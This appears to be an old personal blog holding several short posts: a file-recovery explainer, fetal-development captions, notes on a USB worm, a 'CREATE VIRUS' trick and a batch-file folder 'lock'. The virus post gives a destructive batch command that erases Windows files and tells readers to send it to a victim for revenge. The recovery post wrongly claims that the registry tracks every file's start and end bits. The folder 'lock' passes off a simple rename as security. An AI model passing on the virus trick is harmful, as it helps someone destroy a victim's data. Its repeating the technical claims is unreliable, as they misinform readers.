My Logic on HOW ERASED FILES CAN BE RECOVERED!!!

2008-01-23T21:32:00.000+05:30

How files erased from your Recycle Bin can be recovered???

At any given time the hard disk is always full of values (bits).

Even a new hard disk is full of data which we know as garbage values.

A C programmer (I am one!!!) can actually interpret this practically on a smaller scale by writing the following program:

void main()
{
int a;
printf(“%d”,a);
}

The above code creates a variable ‘a’ and allocates space to it in the main memory. The variable is not assigned any value, but the output shown is some irrelevant CRAP!!!

This CRAP is actually the garbage value stored at that location.

Moreover the variable is assigned a particular address which can be called using ‘&a’. This address is the actual location of variable a.

Now we apply this concept to our File System & Hard Disk. The new hard disk consists of various sectors each with lots of cells containing garbage values. When we copy a file to the hard disk, these garbage bit patterns of the cells are altered and a new sequence is formed according to the file contents. A start bit and end bit for each file is also stored. The start bit points to the file. So you can easily reach the file when u search for it!!!

The start bit is analogous to the address of variable as explained above. When more files are copied, they are mostly appended, till the time when all garbage bit sequences are modified. At any time, the total amount of garbage values is the total free space on the HDD.

Now, when a file is copied, its start and end bits are stored in the registry. There is an entry in the registry for each and every file.

When a file is erased, only the start and end bits of the file are removed while the bit patterns remain. Thus the space occupied by the file is considered garbage and added to the total free space. These bit patterns can be modified if more files are copied. But the file can be easily recovered as the registry entry is not removed.

Recovery softwares scan the registry for these entries and check if the file can be extracted in entirety. This check is necessary to ensure that the bits have not been modified due to newer files being copied. If this is possible, the file’s condition is reported as good an fit for extraction. The extraction can thus be done.

A Baby In The Making!!!

2008-01-22T19:59:00.000+05:30

A Baby In The Making:

Journey of the sperm to the egg. Fertilization is about to occur.

First weeks. No human features yet, it could be any mammal ...

At eight weeks gestation, this fetus is able to kick and straighten his legs, turn them round and move his arms up and down.

The fetus gently moves inside the womb. He can move his arms and legs with a range of movements that are fluid and supple.

The baby is now capable of fine hand and finger movements. In a short space of time this baby scratches, rubs and pats his cheek before doing the same to his nose. You are now able to see the silhouette and extremities a bit better.

Around the sixth month the fetus is almost fully formed.

Latest stages of pregnancy. His five senses are active know.

7 month. His brain and spinal cord are fully developed. His little heart, a muscle mass that begins to beat spontaneously is also complete.

Last pregnancy days. The baby dreams.

Here's an image using pioneering medical imaging technology, called 4-D ultrasound. This advanced technology is capable of showing the fetus as it sucks its thumb, blinks, yawns, smiles, and moves in real time inside the womb.

Ready to come out.

The baby is fully developed, pregnancy is coming to an end...

How I got rid of a DEADLY WORM which almost paralysed my comp!!!

2008-01-14T18:28:00.000+05:30

How 2 get rid of MICROSOFTPOWERPOINT.EXE worm

Mircosoftpowerpoint.exe is a file that is created by a virus named w32.USBWorm. This virus is an epidemic and spreads very rapidly through USB drives. When a USB drive is connected to a computer which is already affected by this virus, it gets affected. The virus in the computer will transfer all its files into the drive. When this USB drive is connected to another unaffected computer, it will transfer all the required files to the computer's hard drive.

Once the program runs, your computer system is infected. This virus will not destroy any of your system files. It hides all the hidden folders and disables "Show hidden folders" option in folder options menu. It runs its process in the memory. This makes the worm to start with windows start-up and and displays annoying pop-up like "I dont hate mozilla, but use IE or else", Orkut is banned you fool. It will not let you open Orkut using Internet Explorer. It will not let you access even YouTube too.

The virus, after affecting your computer, creates a folder named "heap41a" in your root drive ie; C drive, where it resides. This folder will be hidden and since this virus disables show hidden files and folders option, it is not easy to locate. This folder contains following:
* Offspring - an empty folder.
* 2.mp3 - a laughing sound.
* Icon.ico - a blank icon file.
* reproduce .txt - codes to change registry entries.
* svchost.exe - gives all kinds of pop-ups.
* script1.txt - codes for displaying pop-ups.
* std.txt - codes to change registry entries.

You can find this folder by typing C:\heap41a in Start Menu> Run. If you go through the text files, you will get an idea what the worm does to your computer. It runs the executable file vchost.exe and also changes the following keys in the registry which in turn inactivates the hidden files and folders option.

Have you seen this message in your computer:

” ORKUT IS BANNED,Orkut is banned you fool`,The administrators didnt write this program guess who did?? ”

Then you are infectedwith the above virus.
The virus, after affecting your computer, creates a folder named "heap41a" in your root drive ie; C drive, where it resides. This folder will be hidden and since this virus disables show hidden files and folders option, it is not easy to locate. This folder contains following:
* Offspring - an empty folder.
* 2.mp3 - a laughing sound.
* Icon.ico - a blank icon file.
* reproduce .txt - codes to change registry entries.
* svchost.exe - gives all kinds of pop-ups.
* script1.txt - codes for displaying pop-ups.
* std.txt - codes to change registry entries.

It will not let you open Orkut using Internet Explorer. It will not let you access even YouTube too.

This is the AHKHEAP Worm

CREATE VIRUS!!!

2007-12-08T12:55:00.000+05:30

Very easy but dangerous...................

Ok, now, the trick:

The only thing you need is Notepad.

Now, to test it, create a textfile called TEST.txt(empty) in C:\
Now in your notepad type "erase C:\TEST.txt" (without the quotes). Then do "Save As..." and save it as "Test.cmd".
Now run the file "Test.cmd" and go to C:\ and you'll see your Test.txt is gone. Now, the real work begins:

Go to Notpad and type erase C:\WINDOWS\(sum important file required by some softwares) and save it again as fun.cmd. Now DON'T run the file or you'll lose your the file from ur system. So, that's the virus. Now to take revenge. Send you file to your victim. Once he opens it. His file is gone forever and he has to install the software again.

Simple explanation:

Go to notepad, type erase C:\WINDOWS\(sum important file required by some softwares), save it with sum fancy name which would prompt him to click on it, send to victim, once the victim opens it, the file will b gone and he will have to install the software again...

Lock any folder in XP

2007-12-08T12:53:00.000+05:30

Lock any folder without using any software

1. Suppose you have a folder named abcd in D:\abcd.

2. In the same drive next to the folder create a new notepad file with the exact statement
ren abcd abcd.{21EC2020-3AEA-1069-A2DD-08002B30309D}

3. Now save this text file as loc.bat

4. Create another notepad file and type
ren abcd.{21EC2020-3AEA-1069-A2DD-08002B30309D} abcd

5. Save this as key.bat

6. Now there are two batch files. Double click loc.bat and your folder will change into Control Panel and its contents cannot be viewed .

7. To open the folder double click key.bat and you get back your original folder.

8. For more safety keep the key.bat in another location . Only for unlocking copy paste to the original location and double click..

(don't forget to replace abcd with the folder name)
